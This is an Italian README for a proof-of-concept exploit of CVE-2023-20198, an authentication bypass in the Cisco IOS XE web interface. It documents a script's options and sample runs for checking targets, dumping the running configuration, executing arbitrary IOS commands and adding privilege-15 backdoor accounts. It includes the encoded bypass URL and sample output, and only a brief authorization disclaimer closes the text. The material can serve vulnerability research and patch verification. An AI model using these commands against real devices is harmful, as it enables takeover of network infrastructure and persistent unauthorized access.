
PoC di exploit per CVE-2023-20198
Exploit PoC per CVE-2023-20198
Informazioni sulla vulnerabilità e utilizzo dell'exploit forniti da smokeintilleshell (Vedi riferimenti)
Endpoint, content type HTTP e gestione degli header sono stati modificati rispetto ad altri PoC esistenti per funzionare in situazioni in cui altri exploit falliscono.
CVE-2023-20198 è caratterizzata da una convalida impropria del percorso per bypassare il filtro Nginx e raggiungere l'endpoint web webui_wsma_http senza richiedere autenticazione.
By-passando l'autenticazione all'endpoint, un attaccante può eseguire comandi arbitrari Cisco IOS o apportare modifiche alla configurazione con privilegi di livello 15.
L'indagine di Cisco sullo sfruttamento attivo della vulnerabilità precedentemente non divulgata ha rivelato che gli attori delle minacce hanno prima sfruttato CVE-2023-20198 per aggiungere un nuovo utente con livello di privilegio 15. Ulteriori attacchi hanno comportato lo sfruttamento di CVE-2023-20273 per escalare all'utente root del sistema operativo Linux sottostante per facilitare l'impianto di malware.
Questo PoC sfrutta CVE-2023-20198 per utilizzare due diversi endpoint SOAP XML:
Le opzioni di verifica della vulnerabilità, configurazione ed esecuzione comandi hanno come target l'endpoint SOAP cisco:wsma-exec per inserire comandi nel tag dell'elemento execCLI.
L'opzione di aggiunta utente ha come target l'endpoint SOAP cisco:wsma-config per emettere una modifica di configurazione e aggiungere l'account con privilegi di livello 15. Questo endpoint potrebbe essere [ab]usato per apportare altre modifiche di configurazione, ma ciò esula dallo scopo di questo PoC.
L'abuso dell'endpoint SOAP cisco:wsma-exec deriva dal template nuclei
L'abuso dell'endpoint SOAP cisco:wsma-config deriva dal PoC di horizon3ai
Nota: non ho condotto alcuna ricerca originale né lo sviluppo del PoC per questa CVE. Vedi la sezione riferimenti per i crediti.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
Per verificare CVE-2023-20198, -c tenterà di sfruttare la vulnerabilità per eseguire uname -a
Esempio:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
L'opzione -g esegue sh run per recuperare la configurazione in esecuzione
Esempio:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Comandi arbitrari Cisco IOS possono essere eseguiti con l'opzione -e.
È necessario usare estrema cautela quando si utilizza questa opzione per apportare modifiche alla configurazione. Non c'è alcuna validazione dell'input e le modifiche vengono applicate immediatamente alla configurazione in esecuzione.
Esempio:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
L'opzione -a può essere utilizzata per creare un nuovo account utente con privilegi di livello 15, specificando opzionalmente il nome utente e la password rispettivamente con -u e -p.
Esempio:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
L'opzione -d può essere utilizzata per rimuovere un account utente dal dispositivo e rispetta il nome utente specificato con -u.
È necessario prestare attenzione per assicurarsi di non eliminare un account legittimo.
Questa opzione è stata aggiunta per i casi in cui non è possibile ottenere l'accesso shell/webui a un Cisco compromesso. È stato osservato che l'aggiunta di un utente con privilegi di livello 15 non garantisce l'accesso alla webui e potrebbe lasciare artefatti di sfruttamento sugli host.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 template (Autori: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
smokeintheshell CVE-2023-20198 PoC
Il codice contenuto in questo progetto è destinato esclusivamente alla ricerca e all'utilizzo su sistemi per cui l'utente ha esplicita autorizzazione.
L'autore di questo progetto non è responsabile dell'uso improprio del software.
Usa in modo responsabile e non essere malvagio